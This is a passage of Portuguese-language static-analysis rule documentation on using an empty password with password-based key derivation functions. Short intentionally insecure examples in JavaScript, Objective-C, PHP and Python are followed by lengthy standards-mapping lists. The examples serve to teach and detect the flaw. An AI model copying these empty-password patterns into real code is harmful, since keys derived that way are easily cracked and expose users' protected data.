Fornecer uma senha vazia a uma PBKDF compromete a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia passar um valor vazio como argumento de senha para uma PBKDF (função de derivação de chave baseada em senha) criptográfica. Nesse cenário, a chave derivada é baseada principalmente no salt fornecido (tornando-o significativamente mais fraco), e a correção do problema será extremamente difícil. Depois que o código ofensivo está em produção, a senha vazia geralmente não pode ser alterada sem a aplicação de patches no software. Se uma conta protegida por uma chave derivada baseada em uma senha vazia for comprometida, os proprietários do sistema poderão ser forçados a escolher entre segurança e disponibilidade.

Exemplo 1: O código a seguir transmite uma string vazia como argumento de senha para uma PBKDF criptográfica:


const pbkdfPassword = "";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)


Qualquer pessoa com acesso ao código será capaz de determinar que ele gere uma ou mais chaves criptográficas com base em um argumento de senha vazio. Mas, pior do que isso, qualquer pessoa com as técnicas mais básicas de cracking terá muito mais chances de obter acesso a todos os recursos protegidos pelas chaves transgressoras. Se um invasor também tiver acesso ao valor de sal usado para gerar qualquer uma das chaves com base em uma senha vazia, o cracking dessas chaves se tornará um processo simples. A partir do momento em que o programa for distribuído, provavelmente não será mais possível alterar a senha vazia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma senha vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.javascript.key_management_empty_pbe_password
Abstract
Uma senha vazia é usada para gerar uma chave a partir de uma PBKDF (função de derivação de chave baseada em senha). Fornecer uma senha vazia a uma PBKDF compromete a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia passar um valor vazio como argumento de senha para uma PBKDF (função de derivação de chave baseada em senha) criptográfica. Nesse cenário, a chave derivada se baseará exclusivamente no salt fornecido (tornando-o significativamente mais fraco), e a correção do problema será extremamente difícil. Depois que o código ofensivo está em produção, a senha vazia geralmente não pode ser alterada sem a aplicação de patches no software. Se uma conta protegida por uma chave derivada baseada em uma senha vazia for comprometida, os proprietários do sistema poderão ser forçados a escolher entre segurança e disponibilidade.

Exemplo 1: O código a seguir transmite uma string vazia como argumento de senha para uma PBKDF criptográfica:


...
CCKeyDerivationPBKDF(kCCPBKDF2,
"",
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele gere uma ou mais chaves criptográficas com base em um argumento de senha inserida em código fixo. Mas, pior do que isso, qualquer pessoa com as técnicas mais básicas de cracking terá muito mais chances de obter acesso a todos os recursos protegidos pelas chaves transgressoras. Se um invasor também tiver acesso ao valor de sal usado para gerar qualquer uma das chaves com base em uma senha vazia, o cracking dessas chaves se tornará um processo simples. A partir do momento em que o programa for distribuído, provavelmente não será mais possível alterar a senha vazia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma senha vazia.

Exemplo 2: Algumas APIs de nível inferior podem exigir que se passe do tamanho de certos argumentos, bem como dos valores dos argumentos, de tal forma que uma função possa ler o valor do argumento como um número de bytes consecutivos começando no local do argumento na memória. O código a seguir transmite zero como o argumento de tamanho da senha a uma PBKDF criptográfica:


...
CCKeyDerivationPBKDF(kCCPBKDF2,
password,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...


Nesse cenário, mesmo que a password contenha um valor de senha forte e gerenciado de maneira adequada, passar o tamanho como zero resultará em um valor vazio, null, ou em um valor de senha inesperadamente fraco.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_empty_pbe_password
Abstract
Uma senha vazia é usada para gerar uma chave a partir de uma PBKDF (função de derivação de chave baseada em senha). Fornecer uma senha vazia a uma PBKDF compromete a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia passar um valor vazio como argumento de senha para uma PBKDF (função de derivação de chave baseada em senha) criptográfica. Nesse cenário, a chave derivada se baseará exclusivamente no salt fornecido (tornando-o significativamente mais fraco), e a correção do problema será extremamente difícil. Depois que o código ofensivo está em produção, a senha vazia geralmente não pode ser alterada sem a aplicação de patches no software. Se uma conta protegida por uma chave derivada baseada em uma senha vazia for comprometida, os proprietários do sistema poderão ser forçados a escolher entre segurança e disponibilidade.

Exemplo 1: O código a seguir transmite uma string vazia como argumento de senha para uma PBKDF criptográfica:


...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "");
...


Qualquer pessoa com acesso ao código pode determinar que ele gera uma ou mais chaves criptográficas com base em um argumento de senha vazio. Além disso, qualquer pessoa com técnicas básicas de cracking pode obter acesso com sucesso a quaisquer recursos protegidos pelas chaves ofensivas. Se um invasor também tiver acesso ao valor de sal usado para gerar qualquer uma das chaves com base em uma senha vazia, o cracking dessas chaves se tornará um processo simples. A partir do momento em que o programa for distribuído, provavelmente não será mais possível alterar a senha vazia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma senha vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.php.key_management_empty_pbe_password
Abstract
Uma senha vazia é usada para gerar uma chave a partir de uma PBKDF (função de derivação de chave baseada em senha). Fornecer uma senha vazia a uma PBKDF compromete a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia passar um valor vazio como argumento de senha para uma PBKDF (função de derivação de chave baseada em senha) criptográfica. Nesse cenário, a chave derivada se baseará exclusivamente no salt fornecido (tornando-o significativamente mais fraco), e a correção do problema será extremamente difícil. Depois que o código ofensivo está em produção, a senha vazia geralmente não pode ser alterada sem a aplicação de patches no software. Se uma conta protegida por uma chave derivada baseada em uma senha vazia for comprometida, os proprietários do sistema poderão ser forçados a escolher entre segurança e disponibilidade.

Exemplo 1: O código a seguir transmite uma string vazia como argumento de senha para uma PBKDF criptográfica:


from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele gere uma ou mais chaves criptográficas com base em um argumento de senha inserida em código fixo. Mas, pior do que isso, qualquer pessoa com as técnicas mais básicas de cracking terá muito mais chances de obter acesso a todos os recursos protegidos pelas chaves transgressoras. Se um invasor também tiver acesso ao valor de sal usado para gerar qualquer uma das chaves com base em uma senha vazia, o cracking dessas chaves se tornará um processo simples. A partir do momento em que o programa for distribuído, provavelmente não será mais possível alterar a senha vazia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma senha vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
